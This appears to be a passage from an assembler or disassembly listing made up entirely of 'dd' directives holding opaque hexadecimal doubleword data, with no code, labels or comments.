		dd 77E10C86h, 0B75FA310h, 7BF285BCh, 0EFB38B8Dh, 6A0DC394h
		dd 36AB7F19h, 289914CEh, 7B583084h, 0A5200F04h,	867075F7h
		dd 5A9D10F4h, 782B72B4h, 0C9045611h, 11B1B9B0h,	247FC49Ch
		dd 7578871Eh, 0EC1FAEF0h, 36FCDF94h, 0AE27ADD2h, 0E1DBC5E6h
		dd 5A3102D4h, 0AF621439h, 0AC3797B9h, 55A5A45Eh, 0DFEB56E8h
		dd 2C93BCAh, 6BEAD47Ch,	0B8DA5AEEh, 0F22D50DDh,	21E7F2D4h
		dd 0F6381249h, 8F773017h, 0BD54796Ah, 0D3BE680Dh, 0BAFF1D41h
		dd 3BB22713h, 3238B3Bh,	8173F08Ch, 0ACB4FB5Ch, 0FFA15C54h
		dd 18DE5281h, 4A065838h, 0C79761DAh, 0ADC1E125h, 98DC7836h
		dd 54ADE598h, 5EF9FD15h, 0F06807E8h, 0BB036CF1h, 0B85BC1Bh
		dd 0C0E7D499h, 0A1022A66h, 4A321615h, 0E1A8696Fh, 53AC2179h
		dd 551E9006h, 0C49DB8FAh, 0C40BAB7Eh, 92CC7109h, 98AEB64Fh
		dd 0B5DDEEB3h, 141B0CCh, 0C655C826h, 0F8689413h, 2264BFA7h
		dd 1836D405h, 8EB27EF5h, 0B6893780h, 0B0D375B6h, 1E8BBB26h
		dd 13229BE6h, 425A8B84h, 0BCC1CC1h, 9E322B47h, 55AFFE8Ah
		dd 159E6EFAh, 0AEEC14CCh, 0E0C1C6EAh, 7F79D48Eh, 56C10C7Eh
		dd 0CFF010A7h, 0C33AA34Ch, 8B723CEFh, 8CB091ABh, 882827A7h
		dd 38FC1145h, 41E43A13h, 0C2301DF2h, 0FB4F5D33h, 0B8465E3Dh
		dd 8E447C8Bh, 0EF308409h, 0C1BE20A0h, 577F43AFh, 19C6F288h
		dd 8D16B2C9h, 53CDC3C3h, 0A5B02CCFh, 0C2CD506Dh, 9EC7A939h
		dd 0EBA8B9C9h, 9C1E51B0h, 0A39881D3h, 0A81C6D4Dh, 0D6F0560h
		dd 0F525DFD8h, 416F4211h, 7DC3888Bh, 47146064h,	9C4CF287h
		dd 0C4C1D2B7h, 0A033AB95h, 0C0AA8D19h, 0AB8BF55Ah, 33FEF535h
		dd 4CE760Ah, 0CE9D57D0h, 982BADD6h, 8DDE13C1h, 0B41FE018h
		dd 7E1BB041h, 0C25523D2h, 0FAA1DB06h, 0CCD7EA21h, 83503C9Bh
		dd 79F07218h, 7067419Fh, 0B2ECEBAFh, 0ACDDD8AAh, 0B2D0F71h
		dd 63B1F4C1h, 78A2AE48h, 35D03508h, 7FA080D7h, 90D2F806h
		dd 12AE7402h, 0B20A2BA7h, 6AC4ACB7h, 0BF47F27Eh, 0A871DEBEh
		dd 6FAEB582h, 0EFA1D331h, 0C1A501C8h, 0FA83DCF0h, 0D648E05Eh
		dd 6303CBD3h, 13FEA89Bh, 0DBF847DBh, 36469CDCh,	0B6C662F1h
		dd 0E8C0BD46h, 662472F4h, 0C0FFFB7h, 0E943DD81h, 5BE4DFC0h
		dd 763B9E51h, 0D27BFDB3h, 0ABE260B7h, 0BB29EBE9h, 0BD99C249h
		dd 1648045Bh, 8E8A0574h, 39D5E0F8h, 0BE67154Eh,	3CA568F3h
		dd 0E1E74862h, 14A3EC2Bh, 0FEE0970Eh, 908BE1F8h, 3571CD90h
		dd 22E9FC21h, 0DA3038CAh, 7318E2B1h, 2149C172h,	4ADB6958h
		dd 4CE787C3h, 0F9A8E87Eh, 0D1B83CB6h, 0A5D9D474h, 88EF8729h
		dd 75788604h, 0DF4BCB6Bh, 6EB5BC86h, 546C36h, 657CF5D8h
		dd 5AEF6A8Fh, 0BFADBF26h, 72E0F29Fh, 0C078F6E4h, 932C5E68h
		dd 0B3EEE629h, 2DF38610h, 0C85DEAC9h, 0BEF95505h, 59A3F86h
		dd 0DF6C37BAh, 51EEFBC6h, 96840590h, 2D86F026h,	38C286FBh
		dd 59F9EA3Bh, 0C066D039h, 53020BABh, 0AC8FA13Fh, 0B776DAA5h
		dd 7BFF6A3Fh, 85850217h, 253C88B0h, 0EB6AA64Eh,	7935D6BDh
		dd 1433419h, 0AAECF06Ch, 0AF01BF43h, 33A982A5h,	367C1B8Ch
		dd 5759FA6Ch, 0F9B1A542h, 3F0BC56Fh, 85979E38h,	0E8090BA5h
		dd 0C814BD1Fh, 0AC1683B9h, 918F602h, 80CD03ABh,	76D46B78h
		dd 0B28B9262h, 47148AD9h, 65869600h, 2102C1C0h,	8502980Bh
		dd 0A3326D99h, 9412BF9Dh
		dd 9BDC7C83h, 0C6118956h, 0FFCE605Ch, 40916BDAh, 0AF6D401Ah
		dd 211A532Dh, 160A600Ah, 0AC03CCC7h, 7EF824B8h,	0A4A97403h
		dd 71FFF699h, 0D72A0F9Eh, 9FBF4474h, 8A5461BFh,	0C09C6A64h
		dd 6B2236B7h, 6834463Eh, 805EF1FEh, 0ABCE407h, 36498h
		dd 0A81BAF7Eh, 7FCB6DE1h, 0F89F468Eh, 2378EE62h, 0B194C68Ah
		dd 0E6A120ECh, 38C29BC5h, 1B65C9C2h, 0FB651207h, 34A0475Dh
		dd 336B5BE2h, 0FFD8D846h, 74772805h, 0BFD1935Ah, 0EF081451h
		dd 0D8B842C0h, 61C2CE08h, 0C4FF36FAh, 6AE9D704h, 6AE78F39h
		dd 923BD061h, 7E23F2C2h, 5D456DA6h, 0B757AC32h,	367A889Ch
		dd 4DCC83DEh, 8309A85Ch, 4528A455h, 21AD2FE9h, 0D0C59FD5h
		dd 7C7C86CBh, 0ADE15F10h, 0A848DC76h, 5584516h,	66F991CAh
		dd 39762E3h, 47E989E0h,	0E436519Ah, 0C5FB40ACh,	0AAEEAC8Bh
		dd 1E8FD682h, 1F25CE5Dh, 0E4B37930h, 9F0AD156h,	0E00CFCA5h
		dd 0F83CD720h, 72F3636Ch, 1E23C7DEh, 0CD22761Dh, 7C94DD79h
		dd 0C41E2DC3h, 0F1126032h, 1E92EB3h, 82D60DFh, 0A50F49E8h
		dd 56C7C0D6h, 0B0FF256Eh, 0F6062B60h, 808758A8h, 0B85993ECh
		dd 0DD0591BCh, 0ADB2F3F3h, 7D3D292Bh, 12F8F085h, 203AD030h
		dd 0BB1FCA20h, 669F07ECh, 0D3A5F860h, 6B095C7h,	6AECD79Eh
		dd 79AD1BDEh, 0D81088E1h, 0FC88A207h, 73BD0F7Eh, 428E713Dh
		dd 49E5C9A8h, 0C80F95EBh, 7339398Ch, 74B1DCC1h,	0AD05744h
		dd 62C68EB6h, 0D8748FF5h, 0C1FA33Dh, 2F9A0547h,	5714E1ADh
		dd 2BD512EEh, 57F92D9h,	0D5D2C6C2h, 4F1B1F63h, 794417BBh
		dd 65812714h, 376615F6h, 999EFF82h, 9DA0A7FBh, 8B0B767Ch
		dd 0D3848DECh, 4C9278B9h, 0ED4E5E0Bh, 0F0B1FDBEh, 0EB27FB7Eh
		dd 0C45F2305h, 86449BCAh, 0A31163D4h, 9CE1A514h, 86DD4562h
		dd 4D81591Bh, 0D3833F82h, 0BD4B3124h, 114B6415h, 0C1CC1328h
		dd 9FBA1369h, 5E1EEF2h,	7C279847h, 0A7582D5h, 875A4137h
		dd 6F5DA53Dh, 607CA846h, 722BEB86h, 0FF1E75EBh,	956A9418h
		dd 39D2C3ACh, 0A7235E3Bh, 5213C687h, 0CA96BBC0h, 0C3C17CDBh
		dd 0E334F587h, 0C90B0FECh, 1CDEAA3Bh, 80A51C85h, 61CFB593h
		dd 596D9CB5h, 0FB4D1330h, 0CF669179h, 4E13DAECh, 0B0B5ADC3h
		dd 90047D27h, 0B2B5E917h, 8B5E06ACh, 9654DE0Bh,	0B55AFE08h
		dd 7787CBA5h, 95AABBF3h, 1B00E571h, 8BBCB849h, 0B222204Bh
		dd 3A97539h, 238A08DBh,	0E82698E0h, 0C13D0301h,	0D0B378A9h
		dd 9CACF8F0h, 5E88F41h,	0BB174A0Fh, 510B790Ch, 169AA929h
		dd 388804C2h, 9B31C2A2h, 318213h, 0DF06DF94h, 10DA1259h
		dd 0C946073Fh, 0AA80149h, 5A745965h, 0D4E53778h, 0B016922Bh
		dd 482A345Bh, 3EC34C9h,	0CDD4CD8h, 36BC89Ch, 0CFAE710Fh
		dd 6FBDFB58h, 5AC56CE2h, 2D3F4C88h, 99324F28h, 0F5D78F04h
		dd 0E2167547h, 8FE7E2FAh, 78C14840h, 0F57247F0h, 9A40C8C4h
		dd 9D40D4C1h, 90C8E6F4h, 3245F12Eh, 79103B11h, 0ABEBBC00h
		dd 73422677h, 0F859FFA3h, 301062Bh, 17367FF4h, 0C82DB152h
		dd 6CCDF1F7h, 0AD2C5804h, 0ACB99A55h, 4AEA1734h, 0D5F2BEFAh
		dd 0C4D03CDh, 86FD62A8h, 0FE4E1DAh, 0F8C6B523h,	10C5D3EEh
		dd 0D113DE15h, 97FED0Ch, 45CD3B4Ch, 0A05359E8h,	414468CEh
		dd 22E9CB0Fh, 65EAD70Bh, 8E761BD5h, 7C45E49Bh, 57E61923h
		dd 4F4D1841h, 0C9868C98h, 0A5B1DCA6h, 743303FCh, 1BC34E65h
		dd 4707B6B8h, 138A63EDh, 1F9C19C5h, 8548641h, 38C14B2Fh
		dd 10B21BD0h, 0EA30F5D7h, 0AA6B4288h, 49769F23h, 0F4FFE9ECh
		dd 3844EC9Eh, 6921C793h, 5CAFD689h, 96476D36h, 66273251h
		dd 8612DA7Bh, 115BC0AEh, 36DB4843h, 25951CB9h, 8960584Ch
		dd 971878D5h, 62C86B69h, 6B54BA51h, 0AF205EA6h,	3EC2050Ah
		dd 95E8A422h, 34209F86h, 0D3A96207h, 0A24FA1CBh, 293BF95Ah
		dd 77A9C2F5h, 0B0108A80h, 300374B8h, 0D7080C4Ah, 0ED917375h
		dd 0DF80F47Eh, 0BB3B19BBh, 1E3B472h, 5F3A07BDh,	34B9250Ah
		dd 13BAB59Ah, 6D1C4DE2h, 0D3F1A1h, 0D3588E12h, 0E3E45A56h
		dd 776CC1DBh, 463802E1h, 0ABBB0B1Eh, 0A3375D23h, 9D426078h
		dd 6D990680h, 0A500AACh, 20ACF269h, 12F74099h, 300D457Ch
		dd 257F0EB9h, 836694A3h, 6C2B1DFh, 0D54C6DE5h, 6F361DD2h
		dd 10BC369Ah, 2D0191C7h, 74B740FBh, 0BD2AD0C4h,	0E7B3F51Ah
		dd 0A46FBF29h, 0D9CACA2Dh, 7A93E781h, 66798707h, 25D876C4h
		dd 0D9E4E593h, 622B80F9h, 14ABFF80h, 735CFD95h,	0D943A51Dh
		dd 0DF395B84h, 4D48F047h, 2F341CEDh, 4668A598h,	0AB0C6178h
		dd 789858A2h, 4BA49D3Ch, 7A93F990h, 612AD8C0h, 0A62EACE4h
		dd 0B9C0C90Ch, 0C0C56B8h, 8F25089h, 5D3FBB05h, 0F80093B5h
		dd 0D6287DADh, 3AE7D910h, 75E4EC06h, 70F2B4AAh,	2507BD0Ch
		dd 649974A2h, 0F3D4353Dh, 0C99D12E3h, 0F9B65198h, 1700A8E8h
		dd 0E25EBF62h, 1D4EF3FCh, 0C3AA3A7Bh, 0F55488CBh, 3959405Bh
		dd 6AEBBA06h, 0C12D2895h, 60FEA792h, 0A1801157h, 0CD55EF33h
		dd 25320E3Ch, 0ED4F4357h, 0A6DE3748h, 67EDD542h, 4005C2B2h
		dd 2FF36E8Bh, 1308BC31h, 2EB9EF10h, 0F633F0FBh,	63E08049h
		dd 76AD0EB9h, 5DF2DC4Dh, 2FE3A9E1h, 7DA539D0h, 58DBBB35h
		dd 0A006FA8Fh, 1FA9646h, 136A5797h, 7D8808A3h, 0E28FC7FEh
		dd 7E610B84h, 0AE67C107h, 318BE6DEh, 175EFD91h,	9B852C4Fh
		dd 0D41D8BD6h, 0D116D43Ch, 6DEA4924h, 72BFA347h, 6EBDABCCh
		dd 0D1FAE329h, 744A1167h, 8924D614h, 5F684975h,	4124678h
		dd 82B7394Ch, 0DBD9E826h, 0ABC12E08h, 0EA23032Ch, 2176BFA5h
		dd 8BBBB0C3h, 0AF7F0A82h, 0C1C19EE0h, 0C1FB3939h, 0D7F4DA0Fh
		dd 83E09CCBh, 5F4EC4ECh, 0F78C8BCh, 0EC3FFAFAh,	57EFE819h
		dd 9E902D84h, 0D1F00578h, 8414F392h, 0CF16AEB1h, 5E1B5871h
		dd 0D25BECA6h, 0BF968084h, 6BE3227Eh, 0D57E9099h, 948C12C4h
		dd 10CE557Bh, 0C37368B3h, 0A082B394h, 0C1DA898h, 6C9A74A3h
		dd 26EFB849h, 0A9917037h, 28B7B746h, 0F3DF59ACh, 9A2303h
		dd 1775831Fh, 7068D078h, 0B3B0749h, 9E02219Dh, 96BDA613h
		dd 540CFDE5h, 0A72E8E7Bh, 0B9E4ECF5h, 0F6C679F0h, 0A78476E3h
		dd 2CCE4516h, 37350674h, 0E5EF7048h, 86B0143Dh,	807072F4h
		dd 0A57CA452h, 9017351h, 72DEFA7Ch, 90F134B9h, 0BDFF6E47h
		dd 20767457h, 9050AEC2h, 99D3780Eh, 7D9645DAh, 721DE51Ch
		dd 490C745Fh, 0A13F1401h, 0DF967474h, 8DC7FA94h, 77E8445Eh
		dd 6E1B74Eh, 51E075F7h,	952B976Ah, 6286B2C1h, 0E706A588h
		dd 7C5DD847h, 0C30E5B96h, 42320C1h, 0CC960B67h,	983B202Fh
		dd 0F6A9FAF3h, 6F72E4CDh, 83E4FFCFh, 0D1314641h, 69B24084h
		dd 270256C3h, 0C32DF4ABh, 0EF5DEF58h, 0C8B33F48h, 0EDE9E1DEh
		dd 85935CA1h, 1A5A970Fh, 7B59790Bh, 69D304F4h, 0FCA65AE7h
		dd 0A26D0F27h, 7194E3D9h, 29024209h, 62995028h,	0FBA4E50Eh
		dd 0CDEA36F5h, 7D61BA5Ah, 4DB40547h, 67F14A10h,	90DD6EB6h
		dd 0B3F8D2D0h, 492E1BE7h, 69D6171Ah, 391CD1A3h,	392EF77Eh
		dd 23180D1h, 6522304Bh,	9E0F9649h, 0C6C3EF2Eh, 0DC423639h
		dd 0C92555C1h, 0F9534FC4h, 6402CA3Ch, 547DF7F0h, 0F8C88112h
		dd 0E56477B5h, 0EFBA4EAFh, 39584436h, 0F2C116A3h, 2651B4Fh
		dd 99B3D8CAh, 2DA362E5h, 0C3DDAAD6h, 158160ABh,	9B1ED4Eh
		dd 0ECB04C34h, 0ACCB4E54h, 0F056D742h, 25745E95h, 0BD692E97h
		dd 0C6007102h, 0B626DE13h
		dd 0F6BC286Ah, 98B41113h, 2CF53BA5h, 82618C4Eh,	417E2250h
		dd 11CE3469h, 2EA9D4EAh, 0BEC387D7h, 9B3AF9A8h,	349A569Ah
		dd 440C41C2h, 0BB1A8A59h, 3EEF0E27h, 0A04AE7ADh, 32249211h
		dd 635C6044h, 0DF8909E3h, 5555F818h, 4C92234Ch,	0FF1A23E1h
		dd 58BC048Ch, 49FD61CDh, 2F581A34h, 3CC081B2h, 6A3D569Dh
		dd 147C2F18h, 25972286h, 990AFF4h, 7D514E2Ch, 3F981B20h
		dd 304DD5FBh, 1AA05FCAh, 4FBA1CFBh, 36007DCFh, 656CF3D6h
		dd 0A50CC77h, 9315357Dh, 3C29F0FBh, 0C90CF8FEh,	8C6D8AA3h
		dd 40B59DC5h, 0A8C13CE2h, 7FDB66B1h, 0B092DE34h, 85490B9Eh
		dd 3C67083Ch, 0DF6CA99h, 0EAE1337h, 0BA7C93E7h,	5418E75Ch
		dd 7FB8827Ah, 0D59BA9h,	2D4BA1C2h, 88E5FA4Eh, 3A789C25h
		dd 0F4BE7971h, 31C4C00Eh, 0D09B776Fh, 0CF576893h, 4454118Dh
		dd 0DC82F914h, 5F4B44D7h, 0CBB54B20h, 4AA11050h, 348EB9B6h
		dd 5D0F2E2Dh, 1658DFE0h, 0EA3F5C57h, 1F61B5FAh,	3486C7CDh
		dd 850FC574h, 20816DA8h, 0A9E278B7h, 48246CFCh,	44F55415h
		dd 0A1AA2BA8h, 74D4C64h, 1E7CCBh, 7591BA10h, 5693AB8Ch
		dd 0E26F91B0h, 76192A61h, 0CAD100A5h, 0C291A3E1h, 0D5811FBCh
		dd 45C80751h, 593F2AE7h, 28A07728h, 3D20418Ah, 4247914h
		dd 0FCA8A6CEh, 0E9582DA2h, 5E9D24B7h, 0BC29AEC7h, 0FBD87D21h
		dd 13B0FD92h, 17A37572h, 9017F733h, 89D90495h, 0A63AA2Eh
		dd 54B1EF02h, 0E1989B45h, 0FA9B9C56h, 94A6FCB0h, 0A5F691D8h
		dd 0AEF48D2Ah, 0EECC570Ch, 6B3D7C11h, 82A6AD33h, 682D51EEh
		dd 313A5E8Bh, 0AC40EEFBh, 7428C436h, 0F1166E8Dh, 0C73A8759h
		dd 6B6412FEh, 960CD808h, 4EDAFA9Bh, 6F612A4h, 885D6DEAh
		dd 5BD9E2D7h, 774B5F13h, 0AEDD380Ah, 0FD3F0448h, 0C3ADA18Eh
		dd 0CD5836C9h, 701CB0F2h, 0A65196E5h, 4698AA7Bh, 3399BFBBh
		dd 3A61E024h, 9E19C110h, 0E3AD370Fh, 691BE1A8h,	0A56C6C22h
		dd 451BAD7Eh, 45CFA3D7h, 0F4E6F020h, 0E2A40D37h, 0E2AB43AAh
		dd 38B6BD71h, 0E6378630h, 0B230691Ah, 6439C764h, 0FEE9F97Dh
		dd 6FEFF8F1h, 3A031D50h, 0D274F921h, 0A999FF77h, 3D9F9529h
		dd 2A2E1DD7h, 0D8A995EAh, 47C9C14Bh, 88C3270Ch,	556D9B0Eh
		dd 64E1D02Fh, 0B5A70332h, 0D27C8D82h, 0ADEC2A3Fh, 719F367Ah
		dd 95787089h, 0D79FCC2h, 1BF4A3D9h, 8F1C7223h, 84FB90C1h
		dd 0D1E2D0E9h, 33057C6Dh, 0A946B080h, 0CB333ACAh, 95D62CC9h
		dd 9B7ECBC6h, 0B26CD37h, 0CDFC3146h, 0F89B66E0h, 0F95BE1DFh
		dd 179A8E01h, 98F94012h, 84AA19F2h, 1059844Dh, 0F3DB6192h
		dd 0A24BFCFEh, 52D7EF8Fh, 628D9A8h, 687829DCh, 0F32BB8F1h
		dd 97CC33B4h, 48ADC7Fh,	0FF54CA6Ch, 0A725396Fh,	5A788230h
		dd 0D1E8B10Fh, 0BF432AE3h, 0E3ABEDE0h, 0C179D333h, 6DB3B57Fh
		dd 0BFD20F55h, 0D2513AE3h, 9B884DB7h, 98207014h, 0E5D2DC0Ch
		dd 0D12BAF20h, 0E2B5B81Ah, 6840A85Ch, 311A78C9h, 9C528C1Fh
		dd 0C6D7F36Bh, 0A1EDED3Dh, 0E3AB9264h, 621E8A0Eh, 0F2E0DE2Eh
		dd 9DE9E075h, 837C7115h, 0B2ADEFAh, 1B9FE27h, 3F37A1C7h
		dd 89AA0202h, 3820E269h, 0C698A554h, 0DEBC63E2h, 18467BCDh
		dd 0ECACBF43h, 55DBFBE0h, 42A08783h, 12C9F422h,	462FBBBFh
		dd 90D81318h, 334D930Ah, 7F359EFBh, 0A4D9629Ch,	0CC4B57D4h
		dd 9B663D15h, 8CF6BF63h, 59099318h, 701EDA4Ch, 6DE701AFh
		dd 0FC5FB0DDh, 0C5FCAE0Ah, 0E6CBD956h, 0A6D54CD5h, 9D2661C4h
		dd 843E7A8Dh, 0F2336DD7h, 0ED5C370Ch, 0E5A20A43h, 0E804F71Dh
		dd 7B78653Dh, 0AD960744h, 772EE0A6h, 0A69D1FABh, 0BB86C496h
		dd 713A6ACDh, 4AE70E24h, 0E19EB4D6h, 8EA90A24h,	0AE0AD11Ah
		dd 0F27A9F19h, 6C1FD945h, 0E73A95CBh, 0C1C8831Ch, 0F9625C2Ch
		dd 940C44C7h, 11DF9FF6h, 2EE08D44h, 6B4FD2CBh, 0B4A9937Ah
		dd 5BDD9849h, 0FE90A25Eh, 94E3F877h, 7FD6CDE1h,	6109BB79h
		dd 53A9B739h, 0F52ECA5Bh, 2205C1E3h, 5487CBECh,	0BA2E038Ah
		dd 16B688AAh, 4A840C5Eh, 9A2C5322h, 754067ADh, 6843A396h
		dd 0C49CF312h, 3610D7A9h, 6C42C884h, 24C57E1Ah,	0E65B5ED7h
		dd 56EF0D28h, 0EA5A70F0h, 46CA7AC1h, 9537D3D5h,	47BC80D6h
		dd 0F5875D4Bh, 1A8914E3h, 8C00F57Dh, 5B059A42h,	6F2CB918h
		dd 0A87A1B66h, 0FC71F255h, 5F093BC1h, 0D5B86204h, 369D0346h
		dd 0FB5E9392h, 2461FCD2h, 5E93FBE0h, 5637081Ch,	37B04EA1h
		dd 0BA0C4F40h, 9CFE8CCAh, 0DF2A01BBh, 2F8F0794h, 1CB5ACA9h
		dd 920F1F31h, 0E21F0FDDh, 0E403857Fh, 78C13786h, 7676317Dh
		dd 98AA4B6Bh, 9E9547D2h, 2E50D177h, 0E1629EC8h,	8C0ED12Bh
		dd 0C29D3373h, 1464F1Eh, 0E9842F08h, 0B36F254Bh, 0DA89E81h
		dd 4ED405FDh, 0A0974634h, 5C7BF0F6h, 3D89798Fh,	0B1577158h
		dd 0B123BE06h, 0C9D8620Bh, 52F1995h, 5A9F90C6h,	0BF4D15h
		dd 969A8204h, 93285680h, 6F0972A5h, 0BF07E1D3h,	8C003D37h
		dd 1F8EAC38h, 0B3EAF1BAh, 0E9C2871Bh, 7116A204h, 6A241C1Ch
		dd 3F6B77B0h, 12B157D9h, 3413697Dh, 5326F3Eh, 641C31A9h
		dd 6480CB98h, 0F6D88353h, 2C403281h, 0BDBA12DEh, 3C7095D2h
		dd 0DF028708h, 0D7F6A04Bh, 5B7947C8h, 580A62F5h, 48597948h
		dd 2E1BB881h, 0EC20C726h, 99029BDAh, 6A7AF52Dh,	0D81B3BFAh
		dd 3D28F4B7h, 66B74C30h, 0B7FEF00Bh, 0C0792D57h, 0E94374A8h
		dd 4841A956h, 69E29B4h,	6551A829h, 0F67E478Dh, 0A582F2BBh
		dd 6A7C229Fh, 0EF6EA3A2h, 39BD168Bh, 17E6F4E6h,	3FB7F0D8h
		dd 47D1848Dh, 323FAE38h, 0A37A36FEh, 4B018F97h,	3DE908E3h
		dd 65872712h, 8A2D0C28h, 0DE0B64Ch, 0F5A553E4h,	0B45C8B1Bh
		dd 1386C556h, 350FB999h, 0DD60185Bh, 1CA77EE0h,	2B3BA660h
		dd 0A0CFDCB4h, 801C5F3Dh, 6200FA94h, 9EC67391h,	8FB12DF3h
		dd 5BE4FF28h, 5DFF3BB3h, 5655041h, 9CF4FFA6h, 21E4C26h
		dd 72D37A87h, 8B07E79Ch, 25978012h, 2F835006h, 8D5AECF6h
		dd 0DE233A9Bh, 0AA73B679h, 14CF2B7Dh, 0B5B3A006h, 0B527B625h
		dd 5D84E85Dh, 5510714Ah, 4F6BC0ABh, 60A27F57h, 4395B8CEh
		dd 133EFB9Eh, 0B4CB182Ch, 1805343Bh, 0FE1230C6h, 4981F968h
		dd 2BF42109h, 2BB6465Dh, 1CAA2E5Ch, 0D9DF7EAh, 2B250C9Dh
		dd 32A95D6Ch, 1147B985h, 3A335902h, 2C0222FFh, 0FBA180B2h
		dd 1484D55Bh, 0B6AE9E65h, 0BD6A58D4h, 0AC22425Ah, 0D8E6E689h
		dd 49EB229Ch, 0BC3C3F11h, 4F355A1Fh, 1367B8B1h,	0A3C17800h
		dd 1F123250h, 0A063EB29h, 3F01A473h, 6E8536A4h,	8CE627BAh
		dd 0BE2BAC98h, 2B96C74Ah, 0D27FA723h, 0D2B963EEh, 9C9D2B09h
		dd 0C460C56h, 1FFDEC34h, 0A539557Dh, 0BE701F8h,	0A9523BAFh
		dd 0F317B5E7h, 0A3929685h, 0A8927C28h, 0F8748C57h, 2BF50B52h
		dd 8B4D4FD6h, 0F100D435h, 0A16332B6h, 5F08427Fh, 0DDD5E1BFh
		dd 0B7EA3BCh, 0C83ECADEh, 0C8A5A8F8h, 0C638F859h, 4CF348C7h
		dd 0ABE0C931h, 0D155F69Eh, 4989AC3Fh, 1D70FFF0h, 29C8F8C5h
		dd 245E6F04h, 398DEFBDh, 0E2665AE1h, 0AFD374F4h, 905866F1h
		dd 14A1F982h, 6CB3F78h,	678433D0h, 2C6E2F1Eh, 0AF9C10FAh
		dd 0FFDE6AEAh, 0E2C32CAEh, 3568517Dh, 968F0954h, 0D7CD7078h
		dd 9485AC7Fh, 25030083h, 0AD808720h, 0FF7478F3h, 0DEE8AA48h
		dd 0AEF5ACFFh, 134197E3h, 0E0EDB9EBh, 0A729C01Ch, 90E0C2Dh
		dd 7367603Ah, 19ECDD60h, 0D18161FFh, 70A773F4h,	1E1FA8D6h
		dd 74E08DD7h, 18C22A9Fh
		dd 0E4EB4FD6h, 4248E74Eh, 0F0B59652h, 972372EAh, 6A99FA0Ch
		dd 2A8FE55Fh, 0DCBABCE7h, 0F3A1D4FFh, 8ABB1AF8h, 232D7132h
		dd 0E6A3FD7Bh, 0D0E9779Bh, 337B0A9Dh, 0A403B692h, 3D13FCDBh
		dd 5CC05921h, 81BD498h,	0EAD76917h, 0B77AD2E9h,	0F43D7D05h
		dd 7CCFE69Eh, 0F50801A0h, 9ED23173h, 0F8156B95h, 4624D697h
		dd 90F57C34h, 0FC179732h, 6E0B5601h, 918BFFh, 0EFDEEE29h
		dd 0B348AB53h, 0FBB9AAD8h, 0F9AB03Bh, 76AB060Fh, 1AE8445Fh
		dd 0EBB5C20Dh, 779137C1h, 0F290F19Ch, 0DFA05116h, 0C6D50036h
		dd 2B6431CCh, 36E1C66Eh, 0BFC9FDBFh, 551BF60Ah,	234A382Eh
		dd 0E8830218h, 0F4CB0332h, 0CE4CCD66h, 0E0262101h, 9CCA3312h
		dd 0A9815A01h, 32FA189Ch, 44EFC361h, 0CC852F26h, 0CDF9C7F4h
		dd 27ABA613h, 2E1FB36Dh, 0E39435C2h, 0E9BFC52Bh, 0DA04D0A7h
		dd 0EC65D8ABh, 0F3D37F51h, 197B4552h, 9A94F7E5h, 8909526Ch
		dd 0C2236B75h, 0DAA82521h, 41353674h, 62FEB5D6h, 74F3336Ch
		dd 97ABC129h, 16B58E6Eh, 46633482h, 0C8328AC1h,	5EF5511h
		dd 0AC8ED599h, 859332F1h, 0C0D7305h, 0C313E0BDh, 5BC99230h
		dd 7ABF7F9Bh, 0DE380D89h, 2CBBD440h, 8CBEBA93h,	11470664h
		dd 965CEE72h, 0D3C3D512h, 20C78803h, 0DD149B6h,	0CF5FC05Ah
		dd 9A505963h, 333AFCF7h, 8FE65139h, 93781A43h, 0BD638F7h
		dd 8DE4056Bh, 6A8E95A3h, 0F6D9244Fh, 0E9E65870h, 0A6C80E25h
		dd 0EB523F8Eh, 41045317h, 82AD9B18h, 8B233CF6h,	3DA691BAh
		dd 6AD93537h, 5EBC27D5h, 730AAC2Ch, 0FF79BCDAh,	795F0386h
		dd 0A585C2DEh, 3C41B372h, 23E4F8F8h, 26FB8D8Bh,	6FE92540h
		dd 33BD7FFBh, 760C436Ch, 7AD023EFh, 0D5BA0135h,	0B1594372h
		dd 0E5510B17h, 3FD2D2C1h, 363133C9h, 90BAF46Dh,	3968C1AEh
		dd 5EB807AAh, 981BEC52h, 4EB6FBF6h, 0D3178240h,	0A9C738BEh
		dd 264DA60h, 9C4954F1h,	6F4DFF48h, 0D8F35278h, 0A3D82C6Dh
		dd 17971582h, 294466A6h, 0FD90F4B7h, 0B1087E02h, 2E46BBBBh
		dd 0C232E3C7h, 62BA936h, 862B5E67h, 4ADCA298h, 7BEE5A1Ah
		dd 0FE2913E1h, 9F7CF7AEh, 0FE664979h, 65391BECh, 0E3179AD9h
		dd 61EA45C6h, 0C14A376Fh, 898EC3Dh, 0F54E04B8h,	0C563656Bh
		dd 41E0D76Dh, 407DE641h, 0AD722C86h, 0ABB80469h, 8D1B900Eh
		dd 6F34E020h, 847911BEh, 3190D585h, 0CE716FBFh,	0EE9D3974h
		dd 7ED91F35h, 3A359416h, 5B1D7606h, 0D55A0111h,	0F88C2B8Ah
		dd 841AC661h, 4A4D9C00h, 94C7652Eh, 2B0D173Dh, 0FDC683FCh
		dd 0EAB8E401h, 0C69A8DF5h, 0C8C45FC3h, 1203B864h, 2AFA8192h
		dd 0AE9D2610h, 88757386h, 0D7D3418Eh, 5F0C4F44h, 0E953EC15h
		dd 76E24472h, 0E4358B06h, 4D21D144h, 9542D90h, 741734D1h
		dd 35F82B5h, 454746E0h,	0AD8C4A27h, 7747AB2Fh, 97F78374h
		dd 0FCA431F5h, 5BEFAD12h, 7D896253h, 24674D04h,	0A58DAF97h
		dd 13879E0Eh, 43FF3554h, 0A9E242D6h, 1984A4Bh, 832535EDh
		dd 0E6DBA3CCh, 4B7E9FD5h, 25AC4751h, 10E86865h,	7DAA354Fh
		dd 81583018h, 4F58411Dh, 751FA5ACh, 7F9BEBC1h, 0E7F9936Dh
		dd 9F360E95h, 0B3C4F6EAh, 1C3FE170h, 3CF7743Ah,	1851A222h
		dd 3B4665B9h, 4438B2Fh,	0CC5BC45h, 0B4C87D61h, 0F1D78DE2h
		dd 0BBDEE4C0h, 676C15DEh, 96B8A9DEh, 0C15086E9h, 2418DB28h
		dd 1A805F84h, 0C9C0AEF7h, 7F03B9EDh, 8990F16Eh,	5653CFFFh
		dd 0FEF4275Ah, 124A8470h, 0F612477Bh, 51835642h, 0F2A4DA34h
		dd 49A6F7C4h, 3D5A9979h, 25FC8924h, 9404EF87h, 0CD7F0Ch
		dd 0CCF8A34Bh, 9A9B0838h, 0AD752A12h, 0C3569703h, 0EE5A5D28h
		dd 0C099B72h, 818B64B9h, 50E4D4B0h, 0E093BA6Dh,	77F617A5h
		dd 5AC76447h, 425C4D49h, 47FE73C9h, 0B5041946h,	8DBA07ADh
